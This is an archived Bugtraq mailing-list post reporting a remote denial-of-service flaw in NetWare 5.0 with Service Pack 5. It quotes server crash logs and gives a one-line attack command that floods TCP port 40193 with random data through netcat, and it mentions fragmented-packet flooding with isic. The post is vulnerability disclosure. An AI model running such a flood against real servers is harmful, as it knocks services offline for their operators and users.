[15753] in bugtraq
Remote Denial Of Service -- NetWare 5.0 with SP 5
daemon@ATHENA.MIT.EDU (Dimuthu Parussalla)
Wed Jul 12 15:12:56 2000
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Date: Tue, 11 Jul 2000 07:26:56 +1000
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From: Dimuthu Parussalla <dparussalla@baysidegrp.com.au>
To: BUGTRAQ@SECURITYFOCUS.COM
Remote Denial Of Service -- NetWare 5.0 with SP 5
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I encounter a buffer overflow bug in NetWare 5.0 with service pack 5. After
few minutes after the attack server issue a memory allocation error.
10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]
WARNING! Server XXXXX experienced a critical error. The offending
process was suspended or recovered.
However, services hosted by this server may have been affected.
I continued the attack another 1/h hr or so. then server issued a Abend
error and hangs.
10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]
WARNING! Server XXXXX experienced a critical error. The offending
process was
suspended or recovered. However, services hosted by this server may
have been affected.
ATTACK INFO
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Using a linux server connected to the same network. I did the following
[root@tik /root]# cat /dev/urandom |nc 192.168.1.15 40193
NetWare TCP port 40193 doesn't handle frag TCP packets as well. using isic I
got the same results
FIX
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No FIX yet